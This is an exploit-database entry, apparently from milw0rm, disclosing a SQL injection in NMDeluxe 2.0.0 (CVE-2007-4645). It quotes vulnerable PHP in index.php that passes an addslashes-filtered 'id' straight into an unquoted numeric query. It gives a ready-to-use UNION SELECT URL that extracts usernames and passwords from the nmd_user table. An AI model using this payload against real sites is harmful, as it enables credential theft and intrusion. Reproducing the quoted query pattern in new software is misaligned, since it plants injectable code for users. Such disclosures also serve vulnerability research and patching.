NMDeluxe 2.0.0 - 'id' SQL Injection
Author: not sec group
type: webapps
platform: php
port:
date_added: 2007-08-29
date_updated: 2016-10-12
verified: 1
codes: OSVDB-36688;CVE-2007-4645
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comnmdeluxe2.0.0.zip
#########################################################################################
#
# not sec group
# http://www.notsec.com info@notsec.com
#
#
# [NMDeluxe 2.0.0]
#
# Class: SQL Injection
# Found: 30/08/2007
# Remote: Yes
# Site: http://www.wsdeluxe.com/nmdeluxe/
# Download: http://downloads.sourceforge.net/nmdeluxe/nmdeluxe2.0.0.zip?modtime=1178396844&big_mirror=0
#
#########################################################################################
Vulnerable code:
index.php
============================================================================================================
if($_GET['do'] == 'newspost')
{
$newsid=addslashes($_GET['id']);
$sql=mysql_query('SELECT * FROM `'.DB_PFX.'news` WHERE id = ' . $newsid . ' LIMIT ' . $nlim . '');
============================================================================================================
Exploit :
============================================================================================================================================================================================
http://www.site.com/[nmdeluxe]/index.php?do=newspost&id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3a,password)%20FROM%20nmd_user/*
============================================================================================================================================================================================
Thanks To:
=================================
All notsec.com members;
White_Sheep for his Bugs Hunter;
=================================
# milw0rm.com [2007-08-30]